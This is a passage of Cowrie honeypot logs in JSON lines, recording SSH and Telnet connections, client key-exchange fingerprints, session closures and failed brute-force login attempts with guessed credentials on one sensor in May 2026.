r"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:28.159610Z","src_ip":"80.94.92.186","session":"1860e2c14543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.923765420913696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:28.542880Z","src_ip":"208.92.193.123","session":"d2b250c4e838","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"latitude","message":"login attempt [solana/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:28.880296Z","src_ip":"80.94.92.186","session":"1860e2c14543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:30.168597Z","src_ip":"80.94.92.186","session":"1860e2c14543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.161755800247192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:39.956019Z","src_ip":"69.6.249.0","session":"421ba95dc922","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49918,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fda3f2464a9","protocol":"telnet","message":"New connection: 69.6.249.0:49918 (159.203.135.109:23) [session: 8fda3f2464a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:43:44.790614Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":36136,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfb4511c7e61","protocol":"ssh","message":"New connection: 163.7.6.74:36136 (159.203.135.109:22) [session: cfb4511c7e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:08.361737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:08.366394Z","src_ip":"163.7.6.74","session":"cfb4511c7e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:08.623167Z","src_ip":"163.7.6.74","session":"cfb4511c7e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"qwerty","message":"login attempt [server1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:09.675884Z","src_ip":"163.7.6.74","session":"cfb4511c7e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:10.935079Z","src_ip":"163.7.6.74","session":"cfb4511c7e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.158138036727905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:15.948625Z","src_ip":"69.6.249.0","session":"8fda3f2464a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36726,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1d430c456f","protocol":"telnet","message":"New connection: 69.6.249.0:36726 (159.203.135.109:23) [session: 4e1d430c456f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:18.758605Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":44072,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3a0da7131a","protocol":"telnet","message":"New connection: 69.6.249.0:44072 (159.203.135.109:23) [session: db3a0da7131a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:26.821960Z"}
{"eventid":"cowrie.session.closed","duration":120.00389671325684,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:43.114147Z","src_ip":"212.55.149.117","session":"b1a6997209a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":47389,"dst_ip":"159.203.135.109","dst_port":22,"session":"c66ba7aecf10","protocol":"ssh","message":"New connection: 193.24.211.100:47389 (159.203.135.109:22) [session: c66ba7aecf10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:48.020991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:48.024809Z","src_ip":"193.24.211.100","session":"c66ba7aecf10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:48.134918Z","src_ip":"193.24.211.100","session":"c66ba7aecf10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"future","message":"login attempt [root/future] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:48.561719Z","src_ip":"193.24.211.100","session":"c66ba7aecf10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:49.673266Z","src_ip":"193.24.211.100","session":"c66ba7aecf10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.938562870025635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:51.697073Z","src_ip":"69.6.249.0","session":"4e1d430c456f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.07395672798157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:44:58.895711Z","src_ip":"69.6.249.0","session":"db3a0da7131a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":29480,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2fc9e9e9d2","protocol":"telnet","message":"New connection: 212.55.149.117:29480 (10.17.0.5:23) [session: 9d2fc9e9e9d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:03.912768Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":43188,"dst_ip":"159.203.135.109","dst_port":22,"session":"283cba3de550","protocol":"ssh","message":"New connection: 163.7.6.74:43188 (159.203.135.109:22) [session: 283cba3de550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:13.387589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:13.392421Z","src_ip":"163.7.6.74","session":"283cba3de550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:13.649507Z","src_ip":"163.7.6.74","session":"283cba3de550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bill","message":"login attempt [admin/bill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:14.700738Z","src_ip":"163.7.6.74","session":"283cba3de550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:15.958990Z","src_ip":"163.7.6.74","session":"283cba3de550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":60268,"dst_ip":"159.203.135.109","dst_port":23,"session":"0dde5f615226","protocol":"telnet","message":"New connection: 69.6.249.0:60268 (159.203.135.109:23) [session: 0dde5f615226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:22.389959Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":49732,"dst_ip":"10.17.0.5","dst_port":23,"session":"880995207434","protocol":"telnet","message":"New connection: 212.55.149.117:49732 (10.17.0.5:23) [session: 880995207434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:28.850619Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":54404,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2cff08a69a","protocol":"telnet","message":"New connection: 69.6.249.0:54404 (159.203.135.109:23) [session: 6b2cff08a69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:37.199061Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c20f8078a59e","protocol":"telnet","message":"New connection: 69.6.249.0:42450 (159.203.135.109:23) [session: c20f8078a59e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:52.568733Z"}
{"eventid":"cowrie.session.closed","duration":30.902987241744995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:45:53.292746Z","src_ip":"69.6.249.0","session":"0dde5f615226","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.97022032737732,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:00.882098Z","src_ip":"212.55.149.117","session":"9d2fc9e9e9d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.40145993232727,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:09.600414Z","src_ip":"69.6.249.0","session":"6b2cff08a69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":37792,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb6b9d14b4fa","protocol":"ssh","message":"New connection: 163.7.6.74:37792 (159.203.135.109:22) [session: eb6b9d14b4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:17.324885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:17.329425Z","src_ip":"163.7.6.74","session":"eb6b9d14b4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:17.752716Z","src_ip":"163.7.6.74","session":"eb6b9d14b4fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"smbuser","password":"123","message":"login attempt [smbuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:18.778902Z","src_ip":"163.7.6.74","session":"eb6b9d14b4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:20.030425Z","src_ip":"163.7.6.74","session":"eb6b9d14b4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.833516597747803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:23.402162Z","src_ip":"69.6.249.0","session":"c20f8078a59e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52606,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ece90b7abd8","protocol":"ssh","message":"New connection: 103.15.226.202:52606 (10.17.0.5:22) [session: 4ece90b7abd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:23.504055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:23.512579Z","src_ip":"103.15.226.202","session":"4ece90b7abd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:23.759169Z","src_ip":"103.15.226.202","session":"4ece90b7abd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2022","message":"login attempt [root/2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:25.958619Z","src_ip":"103.15.226.202","session":"4ece90b7abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:27.209551Z","src_ip":"103.15.226.202","session":"4ece90b7abd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.342605113983154,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:29.193096Z","src_ip":"212.55.149.117","session":"880995207434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60984,"dst_ip":"159.203.135.109","dst_port":22,"session":"7357df073966","protocol":"ssh","message":"New connection: 80.94.92.186:60984 (159.203.135.109:22) [session: 7357df073966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:34.557304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:34.644560Z","src_ip":"80.94.92.186","session":"7357df073966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:34.805301Z","src_ip":"80.94.92.186","session":"7357df073966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sol","message":"login attempt [solana/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:35.656565Z","src_ip":"80.94.92.186","session":"7357df073966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:46:36.883970Z","src_ip":"80.94.92.186","session":"7357df073966","protocol":"ssh"}
